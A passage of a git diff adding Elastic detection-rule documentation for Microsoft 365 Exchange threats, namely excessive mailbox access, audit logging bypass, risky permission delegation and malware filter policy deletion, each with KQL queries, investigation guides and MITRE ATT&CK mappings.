or client applications. +- Users may access their mailboxes using custom or third-party applications that are authorized by the organization, such as CRM or ERP systems. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications. + + +*Response and remediation* + +- If the mailbox access is confirmed to be suspicious or unauthorized, take immediate action to revoke the access token and prevent further access. +- Disable the user account temporarily to prevent any potential compromise or unauthorized access. +- Examine the sensitivity of the mailbox data accessed and determine if any sensitive information was compromised. +- Rotate the user's credentials and enforce multi-factor authentication (MFA) to prevent further unauthorized access. +- Review the conditional access policies in place to ensure they are sufficient to prevent unauthorized access to sensitive resources. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" and + event.provider: "Exchange" and + event.category: "web" and + event.action: "MailItemsAccessed" and + event.outcome: "success" and + o365.audit.LogonType: ("0" or "1" or "6") and + o365.audit.UserType: ("0" or "2" or "3" or "10") and + o365.audit.OperationProperties.Value: "Bind" and + not o365.audit.ClientAppId : ( + "00000002-0000-0000-c000-000000000000" or "00000002-0000-0ff1-ce00-000000000000" or + "00000003-0000-0ff1-ce00-000000000000" or "00000004-0000-0ff1-ce00-000000000000" or + "00000005-0000-0ff1-ce00-000000000000" or "00000006-0000-0ff1-ce00-000000000000" or + "00000007-0000-0000-c000-000000000000" or "00000007-0000-0ff1-ce00-000000000000" or + "00000009-0000-0000-c000-000000000000" or "0000000c-0000-0000-c000-000000000000" or + "00000012-0000-0000-c000-000000000000" or "00000015-0000-0000-c000-000000000000" or + "0000001a-0000-0000-c000-000000000000" or "00b41c95-dab0-4487-9791-b9d2c32c80f2" or + "022907d3-0f1b-48f7-badc-1ba6abab6d66" or "04b07795-8ddb-461a-bbee-02f9e1bf7b46" or + "08543e9e-5b1f-4af5-8228-cb5a5c9d4e24" or "08e18876-6177-487e-b8b5-cf950c1e598c" or + "0cb7b9ec-5336-483b-bc31-b15b5788de71" or "0cd196ee-71bf-4fd6-a57c-b491ffd4fb1e" or + "0f698dd4-f011-4d23-a33e-b36416dcb1e6" or "1150aefc-07de-4228-b2b2-042a536703c0" or + "11ba4a52-3159-44e1-93cd-d18e9443e3ef" or "13937bba-652e-4c46-b222-3003f4d1ff97" or + "13937bba-652e-4c46-b222-3003f4d1ff97" or "13937bba-652e-4c46-b222-3003f4d1ff97" or + "14d82eec-204b-4c2f-b7e8-296a70dab67e" or "157cdfbf-7398-4a56-96c3-e93e9ab309b5" or + "16aeb910-ce68-41d1-9ac3-9e1673ac9575" or "1786c5ed-9644-47b2-8aa0-7201292175b6" or + "17d5e35f-655b-4fb0-8ae6-86356e9a49f5" or "18fbca16-2224-45f6-85b0-f7bf2b39b3f3" or + "1950a258-227b-4e31-a9cf-717495945fc2" or "1b3c667f-cde3-4090-b60b-3d2abd0117f0" or + "1fec8e78-bce4-4aaf-ab1b-5451cc387264" or "1fec8e78-bce4-4aaf-ab1b-5451cc387264" or + "20a11fe0-faa8-4df5-baf2-f965f8f9972e" or "23523755-3a2b-41ca-9315-f81f3f566a95" or + "243c63a3-247d-41c5-9d83-7788c43f1c43" or "268761a2-03f3-40df-8a8b-c3db24145b6b" or + "26a7ee05-5602-4d76-a7ba-eae8b7b67941" or "26a7ee05-5602-4d76-a7ba-eae8b7b67941" or + "26abc9a8-24f0-4b11-8234-e86ede698878" or "27922004-5251-4030-b22d-91ecd9a37ea4" or + "27922004-5251-4030-b22d-91ecd9a37ea4" or "27b9c0f2-3d8e-4a1c-8b6f-5d7a0c6e1f2b" or + "28b567f6-162c-4f54-99a0-6887f387bbcc" or "29d9ed98-a469-4536-ade2-f981bc1d605e" or + "2abdc806-e091-4495-9b10-b04d93c3f040" or "2cee05de-2b8f-45a2-8289-2a06ca32c4c8" or + "2d4d3d8e-2be3-4bef-9f87-7875a61c29de" or "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8" or + "2fd64745-b008-3e7d-4903-15d43e60f62a" or "3090ab82-f1c1-4cdf-af2c-5d7a6f3e2cc7" or + "35d54a08-36c9-4847-9018-93934c62740c" or "37182072-3c9c-4f6a-a4b3-b3f91cacffce" or + "38049638-cc2c-4cde-abe4-4479d721ed44" or "3c896ded-22c5-450f-91f6-3d1ef0848f6e" or + "43375d74-c6a5-4d4e-a0a3-de139860ea75" or "4345a7b9-9a63-4910-a426-35363201d503" or + "45a330b1-b1ec-4cc1-9161-9f03992aa49f" or "464e0e4d-676a-4c3b-9f81-2ed9b2a9acd2" or + "4765445b-32c6-49b0-83e6-1d93765276ca" or "497effe9-df71-4043-a8bb-14cf78c4b63b" or + "4b233688-031c-404b-9a80-a4f3f2351f90" or "4d5c2d63-cf83-4365-853c-925fd1a64357" or + "51be292c-a17e-4f17-9a7e-4b661fb16dd2" or "5572c4c0-d078-44ce-b81c-6cbf8d3ed39e" or + "5d661950-3475-41cd-a2c3-d671a3162bc1" or "5e3ce6c0-2b1f-4285-8d4b-75ee78787346" or + "60c8bde5-3167-4f92-8fdb-059f6176dc0f" or "61109738-7d2b-4a0b-9fe3-660b1ff83505" or + "62256cef-54c0-4cb4-bcac-4c67989bdc40" or "6253bca8-faf2-4587-8f2f-b056d80998a7" or + "6326e366-9d6d-4c70-b22a-34c7ea72d73d" or "65d91a3d-ab74-42e6-8a2f-0add61688c74" or + "66a88757-258c-4c72-893c-3e8bed4d6899" or "67e3df25-268a-4324-a550-0de1c7f97287" or + "69893ee3-dd10-4b1c-832d-4870354be3d8" or "74658136-14ec-4630-ad9b-26e160ff0fc6" or + "74bcdadc-2fdc-4bb3-8459-76d06952a0e9" or "75efb5bc-18a1-4e7b-8a66-2ad2503d79c6" or + "75f31797-37c9-498e-8dc9-53c16a36afca" or "797f4846-ba00-4fd7-ba43-dac1f8f63013" or + "7ab7862c-4c57-491e-8a45-d52a7e023983" or "7ae974c5-1af7-4923-af3a-fb1fd14dcb7e" or + "7b7531ad-5926-4f2d-8a1d-38495ad33e17" or "7fba38f4-ec1f-458d-906c-f4e3c4f41335" or + "80ccca67-54bd-44ab-8625-4b79c4dc7775" or "82d8ab62-be52-a567-14ea-1616c4ee06c4" or + "835b2a73-6e10-4aa5-a979-21dfda45231c" or "871c010f-5e61-4fb1-83ac-98610a7e9110" or + "89bee1f7-5e6e-4d8a-9f3d-ecd601259da7" or "8acd33ea-7197-4a96-bc33-d7cc7101262f" or + "8edd93e1-2103-40b4-bd70-6e34e586362d" or "905fcf26-4eb7-48a0-9ff0-8dcc7194b5ba" or + "9199bf20-a13f-4107-85dc-02114787ef48" or "9199bf20-a13f-4107-85dc-02114787ef48" or + "91ca2ca5-3b3e-41dd-ab65-809fa3dffffa" or "93625bc8-bfe2-437a-97e0-3d0060024faa" or + "93d53678-613d-4013-afc1-62e9e444a0a5" or "944f0bd1-117b-4b1c-af26-804ed95e767e" or + "94c63fef-13a3-47bc-8074-75af8c65887a" or "95de633a-083e-42f5-b444-a4295d8e9314" or + "97cb1f73-50df-47d1-8fb0-0271f2728514" or "98db8bd6-0cc0-4e67-9de5-f187f1cd1b41" or + "99b904fd-a1fe-455c-b86c-2f9fb1da7687" or "9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7" or + "9fd38622-d9b4-4401-b1b9-1ce14c5e435a" or "a3475900-ccec-4a69-98f5-a65cd5dc5306" or + "a3883eba-fbe9-48bd-9ed3-dca3e0e84250" or "a3883eba-fbe9-48bd-9ed3-dca3e0e84250" or + "a3b79187-70b2-4139-83f9-6016c58cd27b" or "a40d7d7d-59aa-447e-a655-679a4107e548" or + "a57aca87-cbc0-4f3c-8b9e-dc095fdc8978" or "a970bac6-63fe-4ec5-8884-8536862c42d4" or + "a9b49b65-0a12-430b-9540-c80b3332c127" or "ab9b8c07-8f02-4f72-87fa-80105867a763" or + "ae8e128e-080f-4086-b0e3-4c19301ada69" or "b23dd4db-9142-4734-867f-3577f640ad0c" or + "b4bddae8-ab25-483e-8670-df09b9f1d0ea" or "b669c6ea-1adf-453f-b8bc-6d526592b419" or + "b6e69c34-5f1f-4c34-8cdf-7fea120b8670" or "bb2a2e3a-c5e7-4f0a-88e0-8e01fd3fc1f4" or + "bdd48c81-3a58-4ea9-849c-ebea7f6b6360" or "c1c74fed-04c9-4704-80dc-9f79a2e515cb" or + "c35cb2ba-f88b-4d15-aa9d-37bd443522e1" or "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" or + "c9a559d2-7aab-4f13-a6ed-e7e9c52aec87" or "cc15fd57-2c6c-4117-a88c-83b1d56b4bbe" or + "cf36b471-5b44-428c-9ce7-313bf84528de" or "cf53fce8-def6-4aeb-8d30-b158e7b1cf83" or + "d176f6e7-38e5-40c9-8a78-3998aab820e7" or "d34dcd43-8519-44e4-827c-de79b767da47" or + "d3590ed6-52b3-4102-aeff-aad2292ab01c" or "d3590ed6-52b3-4102-aeff-aad2292ab01c" or + "d3590ed6-52b3-4102-aeff-aad2292ab01c" or "d396de1f-10d4-4023-aae2-5bb3d724ba9a" or + "d71dfe16-1070-48f3-bd3a-c3ec919d34e7" or "d73f4b35-55c9-48c7-8b10-651f6f2acb2e" or + "d9b8ec3a-1e4e-4e08-b3c2-5baf00c0fcb0" or "de8bc8b5-d9f9-48b1-a8ad-b748da725064" or + "dfe74da8-9279-44ec-8fb2-2aed9e1c73d0" or "e1ef36fd-b883-4dbf-97f0-9ece4b576fc6" or + "e64aa8bc-8eb4-40e2-898b-cf261a25954f" or "e9b154d0-7658-433b-bb25-6b8e0a8a7c59" or + "e9f49c6b-5ce5-44c8-925d-015017e9f7ad" or "ee272b19-4411-433f-8f28-5c13cb6fd407" or + "eed83176-464d-48c7-a887-cc5cc534c7b8" or "f5eaa862-7f08-448c-9c4e-f4047d4d4521" or + "f8d98a96-0999-43f5-8af3-69971c7bb423" or "fb78d390-0c51-40cd-8e17-fdbfab77341b" or + "fc0f3af4-6835-4174-b806-f7db311fd2f3" or "fdf9885b-dd37-42bf-82e5-c3129ef5a302" or + "ffcb16e8-f789-467c-8ce9-f826a080d987" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Remote Email Collection +** ID: T1114.002 +** Reference URL: https://attack.mitre.org/techniques/T1114/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mailbox-audit-logging-bypass-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mailbox-audit-logging-bypass-added.asciidoc new file mode 100644 index 0000000000..92fe7450a4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mailbox-audit-logging-bypass-added.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-m365-exchange-mailbox-audit-logging-bypass-added]] +=== M365 Exchange Mailbox Audit Logging Bypass Added + +Detects the occurrence of mailbox audit bypass associations. The mailbox audit is responsible for logging specified mailbox events (like accessing a folder or a message or permanently deleting a message). However, actions taken by some authorized accounts, such as accounts used by third-party tools or accounts used for lawful monitoring, can create a large number of mailbox audit log entries and may not be of interest to your organization. Because of this, administrators can create bypass associations, allowing certain accounts to perform their tasks without being logged. Attackers can abuse this allowlist mechanism to conceal actions taken, as the mailbox audit will log no activity done by the account. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://twitter.com/misconfig/status/1476144066807140355 + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Tactic: Initial Access +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 Audit Logs +* Service: Microsoft Exchange Online + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Mailbox Audit Logging Bypass Added* + + +In Microsoft 365 environments, mailbox audit logging is crucial for tracking user activities like accessing or deleting emails. However, administrators can exempt certain accounts from logging to reduce noise, which attackers might exploit to hide their actions. The detection rule identifies successful attempts to create such exemptions, signaling potential misuse of this bypass mechanism. + + +*Possible investigation steps* + + +- Review the event logs for entries with event.dataset set to o365.audit and event.provider set to Exchange to confirm the presence of the Set-MailboxAuditBypassAssociation action. +- Identify the account associated with the event.action Set-MailboxAuditBypassAssociation and verify if it is a known and authorized account for creating audit bypass associations. +- Check the event.outcome field to ensure the action was successful and determine if there are any other related unsuccessful attempts that might indicate trial and error by an attacker. +- Investigate the history of the account involved in the bypass association to identify any unusual or suspicious activities, such as recent changes in permissions or unexpected login locations. +- Cross-reference the account with any known third-party tools or lawful monitoring accounts to determine if the bypass is legitimate or potentially malicious. +- Assess the risk and impact of the bypass by evaluating the types of activities that would no longer be logged for the account in question, considering the organization's security policies and compliance requirements. + + +*False positive analysis* + + +- Authorized third-party tools may generate a high volume of mailbox audit log entries, leading to bypass associations being set. Review and document these tools to ensure they are legitimate and necessary for business operations. +- Accounts used for lawful monitoring might be exempted from logging to reduce noise. Verify that these accounts are properly documented and that their activities align with organizational policies. +- Regularly review the list of accounts with bypass associations to ensure that only necessary and approved accounts are included. Remove any accounts that no longer require exemptions. +- Implement a process for periodically auditing bypass associations to detect any unauthorized changes or additions, ensuring that only intended accounts are exempted from logging. +- Consider setting up alerts for any new bypass associations to quickly identify and investigate potential misuse or unauthorized changes. + + +*Response and remediation* + + +- Immediately isolate the account associated with the successful Set-MailboxAuditBypassAssociation event to prevent further unauthorized actions. +- Review and revoke any unauthorized mailbox audit bypass associations to ensure all relevant activities are logged. +- Conduct a thorough audit of recent activities performed by the affected account to identify any suspicious or malicious actions that may have been concealed. +- Reset credentials for the compromised account and any other accounts that may have been affected to prevent further unauthorized access. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring for similar bypass attempts to enhance detection capabilities and prevent recurrence. +- Consider escalating the incident to a higher security tier or external cybersecurity experts if the scope of the breach is extensive or if internal resources are insufficient to handle the threat. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.action:Set-MailboxAuditBypassAssociation and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mailbox-high-risk-permission-delegated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mailbox-high-risk-permission-delegated.asciidoc new file mode 100644 index 0000000000..5d77de2bd2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mailbox-high-risk-permission-delegated.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-34-m365-exchange-mailbox-high-risk-permission-delegated]] +=== M365 Exchange Mailbox High-Risk Permission Delegated + +Identifies the assignment of rights to access content from another mailbox. An adversary may use the compromised account to send messages to other accounts in the network of the target organization while creating inbox rules, so messages can evade spam/phishing detection mechanisms. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/microsoft-365/admin/add-users/give-mailbox-permissions-to-another-user?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft Exchange +* Data Source: Microsoft 365 Audit Logs +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Microsoft 365 +* Domain: Email +* Service: Microsoft Exchange Online + +*Version*: 215 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Exchange Mailbox High-Risk Permission Delegated* + + +This rule detects the delegation of mailbox permissions in Microsoft 365 Exchange. This behavior may indicate that an adversary is attempting to gain access to another user's mailbox or send messages on behalf of that user. + + +*Possible Investigation Steps* + +- `user.id` and `o365.audit.Parameters.Identity`: Determine which account was delegated access and which account performed the delegation. Review both for unusual activity. +- `event.action`: Indicates the type of permission granted. Review which delegation action was taken. +- `o365.audit.Parameters.AccessRights` or `GrantSendOnBehalfTo`: Confirm the exact permission granted. +- `@timestamp` and `event.ingested`: Review the timing of the delegation and whether it aligns with user activity or known business events. +- `source.ip` and `source.geo`: Validate that the source IP and location are expected for the admin or account performing the action. +- `user_agent.original`: If present, review to identify any automation, script, or unexpected interface used to assign the permissions. + + +*FullAccess (`Add-MailboxPermission`)* + +- `o365.audit.Parameters.Identity`: The mailbox being accessed. +- `o365.audit.Parameters.User`: The user granted FullAccess. +- Review for subsequent mailbox logins or message rules created by the grantee. + + +*SendAs (`Add-RecipientPermission`)* + +- `o365.audit.Parameters.Identity`: The account the grantee is allowed to impersonate. +- `o365.audit.Parameters.Trustee`: The user who was granted the ability to send as the identity. +- Search for recent messages sent "as" the identity and validate whether the activity was legitimate. + + +*SendOnBehalf (`Set-Mailbox`)* + +- `o365.audit.Parameters.GrantSendOnBehalfTo`: The user allowed to send on behalf of the mailbox owner. +- Check for outbound emails or meeting requests with "on behalf of" headers. + + +*False Positive Analysis* + + +- Delegation to Assistants: Executive or admin assistants often receive FullAccess or SendOnBehalf permissions. +- Shared Mailboxes: Teams or departments may share access to mailboxes for operational efficiency. +- Automated Admin Actions: System or service accounts may perform these actions as part of onboarding or automation. +- Project-Based Access: Temporary access granted for short-term collaboration. +- Maintain an allowlist of known delegation relationships. + + +*Response and Remediation* + + +If the delegation is determined to be unauthorized or suspicious: + +- Revoke the delegated permissions immediately to prevent further access. +- Reset credentials for the impacted accounts if compromise is suspected. +- Review mailbox rules and sent items to detect abuse. +- Alert impacted users and advise on suspicious activity to watch for. +- Audit audit logs around the delegation for additional attacker actions (e.g., MFA disablement, mailbox rule creation, login from foreign IPs). +- Review conditional access, role-based access control, and app permissions to reduce the attack surface. +- Harden delegation policies by requiring approvals, limiting delegation to specific groups, or implementing Just-in-Time (JIT) access for mailboxes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" and +event.provider: "Exchange" and +event.outcome: "success" and +not o365.audit.UserType : (3 or 4) and +( + (event.action: "Add-MailboxPermission" and o365.audit.Parameters.AccessRights: "FullAccess") or + (event.action: "Add-RecipientPermission" and o365.audit.Parameters.AccessRights: "SendAs") or + (event.action: "Set-Mailbox" and o365.audit.Parameters.GrantSendOnBehalfTo: *) +) and +not user.id:( + "NT AUTHORITY\SYSTEM (Microsoft.Exchange.ServiceHost)" or + "NT AUTHORITY\SYSTEM (Microsoft.Exchange.AdminApi.NetCore)" or + "NT AUTHORITY\SYSTEM (w3wp)" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Email Delegate Permissions +** ID: T1098.002 +** Reference URL: https://attack.mitre.org/techniques/T1098/002/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Email Delegate Permissions +** ID: T1098.002 +** Reference URL: https://attack.mitre.org/techniques/T1098/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mailbox-items-accessed-excessively.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mailbox-items-accessed-excessively.asciidoc new file mode 100644 index 0000000000..ca4ece489b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mailbox-items-accessed-excessively.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-m365-exchange-mailbox-items-accessed-excessively]] +=== M365 Exchange Mailbox Items Accessed Excessively + +Identifies an excessive number of Microsoft 365 mailbox items accessed by a user either via aggregated counts or throttling. Microsoft audits mailbox access via the MailItemsAccessed event, which is triggered when a user accesses mailbox items. If more than 1000 mailbox items are accessed within a 24-hour period, it is then throttled. Excessive mailbox access may indicate an adversary attempting to exfiltrate sensitive information or perform reconnaissance on a target's mailbox. This rule detects both the throttled and unthrottled events with a high threshold. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/purview/audit-log-investigate-accounts#use-mailitemsaccessed-audit-records-for-forensic-investigations +* https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/ + +*Tags*: + +* Domain: Cloud +* Domain: Email +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Service: Microsoft Exchange Online + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Exchange Mailbox Items Accessed Excessively* + + +Identifies an excessive number of Microsoft 365 mailbox items accessed by a user either via aggregated counts or throttling. Microsoft audits mailbox access via the MailItemsAccessed event, which is triggered when a user accesses mailbox items. If more than 1000 mailbox items are accessed within a 24-hour period, it is then throttled. Excessive mailbox access may indicate an adversary attempting to exfiltrate sensitive information or perform reconnaissance on a target's mailbox. This rule detects both the throttled and unthrottled events with a high threshold. + + +*Possible investigation steps* + +- Review `host.name` to identify the tenant where the mailbox access occurred. +- Review `o365.audit.UserId` or `o365.audit.MailboxOwnerUPN` to identify the user associated with the mailbox access. +- Examine `o365.audit.ExternalAccess` to determine if the mailbox access was performed by an external user or application. +- Check the geolocation data to identify the location from which the mailbox access occurred. Is this an expected location for the user? +- Check `o365.audit.ClientAppId` to identify the application used for mailbox access. Look for any unusual or unexpected applications but be aware that some legitimate applications may also trigger this rule if OAuth phishing was used. +- Review `o365.audit.Folders.Path` and `o365.audit.Folders.FolderItems.Id` to identify the specific folders and items accessed within the mailbox. Look for any sensitive or high-value folders that may indicate targeted access. +- For specific items accessed, examine `o365.audit.Folders.FolderItems.Id` to gather more context on the accessed mailbox items. +- User types can be identified by checking `o365.audit.UserType`. Review if the mailbox of the user is a member, admin or delegate. +- If Entra ID logs are available, checking the risk status via `azure.signinlogs.properties.risk_state` and `azure.signinlogs.properties.risk_level` can provide additional context on the user's risk status during the mailbox access. + + +*False positive analysis* + +- Legitimate users may access a large number of mailbox items in a short period, especially in environments with high email volume or during data migrations. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users or groups. +- Automated processes or scripts that access mailbox items may also trigger this rule. If these processes are legitimate and necessary, consider adding exceptions for the specific applications or users involved. +- Users with high email activity, such as helpdesk or support roles, may trigger this rule due to their job responsibilities. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users or groups. + + +*Response and remediation* + +- Investigate the user account associated with the excessive mailbox access to determine if it has been compromised or if the activity is expected behavior. +- If the mailbox access is confirmed to be suspicious or unauthorized, take immediate action to revoke the access token and prevent further access. +- Disable the user account temporarily to prevent any potential compromise or unauthorized access. +- Review the user's recent sign-in activity and access patterns to identify any potential compromise or unauthorized access. +- If the user account is compromised, initiate a password reset and enforce multi-factor authentication (MFA) for the user. +- Review the conditional access policies in place to ensure they are sufficient to prevent unauthorized access to sensitive resources. +- Examine how the mailbox access was performed. If it was done via a third-party application, review the permissions granted to that application and consider revoking them if they are not necessary. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" and + event.provider: "Exchange" and + event.action: "MailItemsAccessed" and + event.code: "ExchangeItemAggregated" and + ( + ( + o365.audit.OperationProperties.Name: "IsThrottled" and + o365.audit.OperationProperties.Value: "True" + ) or o365.audit.OperationCount >= 100 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Remote Email Collection +** ID: T1114.002 +** Reference URL: https://attack.mitre.org/techniques/T1114/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-malware-filter-policy-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-malware-filter-policy-deleted.asciidoc new file mode 100644 index 0000000000..a3d8877a61 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-malware-filter-policy-deleted.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-m365-exchange-malware-filter-policy-deleted]] +=== M365 Exchange Malware Filter Policy Deleted + +Identifies when a malware filter policy has been deleted in Microsoft 365. A malware filter policy is used to alert administrators that an internal user sent a message that contained malware. This may indicate an account or machine compromise that would need to be investigated. Deletion of a malware filter policy may be done to evade detection. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-malwarefilterpolicy?view=exchange-ps + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 Audit Logs +* Service: Microsoft Exchange Online + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Malware Filter Policy Deleted* + + +Microsoft 365 Exchange uses malware filter policies to detect and alert administrators about malware in emails, crucial for maintaining security. Adversaries may delete these policies to bypass detection, facilitating undetected malware distribution. The detection rule monitors audit logs for successful deletions of these policies, signaling potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "Remove-MalwareFilterPolicy" to identify the user account responsible for the deletion. +- Investigate the event.outcome to confirm the success of the policy deletion and gather additional context from related logs. +- Check the event.provider "Exchange" and event.category "web" to ensure the activity is consistent with expected administrative actions. +- Assess the recent activity of the identified user account for any unusual behavior or signs of compromise, such as unexpected login locations or times. +- Examine other security alerts or incidents involving the same user account or related systems to identify potential patterns or coordinated attacks. +- Verify if there are any recent changes in permissions or roles for the user account that could explain the ability to delete the malware filter policy. +- Coordinate with IT and security teams to determine if the deletion was authorized or if immediate remediation actions are necessary to restore security controls. + + +*False positive analysis* + + +- Administrative maintenance activities may trigger the rule if administrators are legitimately updating or removing outdated malware filter policies. To manage this, maintain a log of scheduled maintenance activities and cross-reference with alerts to verify legitimacy. +- Automated scripts or third-party tools used for policy management might inadvertently delete policies, leading to false positives. Ensure these tools are configured correctly and consider excluding their actions from the rule if they are verified as non-threatening. +- Changes in organizational policy or security strategy might necessitate the removal of certain malware filter policies. Document these changes and create exceptions in the detection rule for these specific actions to prevent unnecessary alerts. +- User error during policy management could result in accidental deletions. Implement additional verification steps or approval processes for policy deletions to reduce the likelihood of such errors triggering false positives. + + +*Response and remediation* + + 